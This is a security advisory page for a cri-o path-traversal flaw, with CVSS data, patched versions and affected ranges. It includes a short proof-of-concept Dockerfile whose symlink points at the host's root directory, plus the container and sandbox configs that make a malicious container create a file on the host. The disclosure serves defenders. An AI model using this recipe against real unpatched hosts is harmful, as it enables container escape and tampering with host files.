GHSA-j9hf-98c3-wrm8

Suggest an improvement
Source
https://github.com/advisories/GHSA-j9hf-98c3-wrm8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-j9hf-98c3-wrm8/GHSA-j9hf-98c3-wrm8.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-j9hf-98c3-wrm8
Aliases
Published
2024-06-04T18:12:31Z
Modified
2024-12-11T06:30:24Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N CVSS Calculator
Summary
malicious container creates symlink "mtab" on the host External
Details

Impact

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

and this container config:

{
  "metadata": {
      "name": "busybox"
  },
  "image":{
      "image": "localhost/test"
  },
  "command": [
      "/bin/true"
  ],
  "linux": {
  }
}


and this sandbox config

{
  "metadata": {
    "name": "test-sandbox",
    "namespace": "default",
    "attempt": 1,
    "uid": "edishd83djaideaduwk28bcsb"
  },
  "linux": {
    "security_context": {
      "namespace_options": {
        "network": 2
      }
    }
  }
}

will create a file on host /host/mtab

Patches

1.30.1, 1.29.5, 1.28.7

Workarounds

Unfortunately not

References

Are there any links users can visit to find out more?

Database specific
{
    "nvd_published_at": "2024-06-12T09:15:19Z",
    "cwe_ids": [
        "CWE-22",
        "CWE-668"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-04T18:12:31Z"
}
References

Affected packages

Go / github.com/cri-o/cri-o

Package

Name
github.com/cri-o/cri-o
View open source insights on deps.dev
Purl
pkg:golang/github.com/cri-o/cri-o

Affected ranges

Type
SEMVER
Events
Introduced
1.28.6
Fixed
1.28.7

Go / github.com/cri-o/cri-o

Package

Name
github.com/cri-o/cri-o
View open source insights on deps.dev
Purl
pkg:golang/github.com/cri-o/cri-o

Affected ranges

Type
SEMVER
Events
Introduced
1.29.4
Fixed
1.29.5

Go / github.com/cri-o/cri-o

Package

Name
github.com/cri-o/cri-o
View open source insights on deps.dev
Purl
pkg:golang/github.com/cri-o/cri-o

Affected ranges

Type
SEMVER
Events
Introduced
1.30.0
Fixed
1.30.1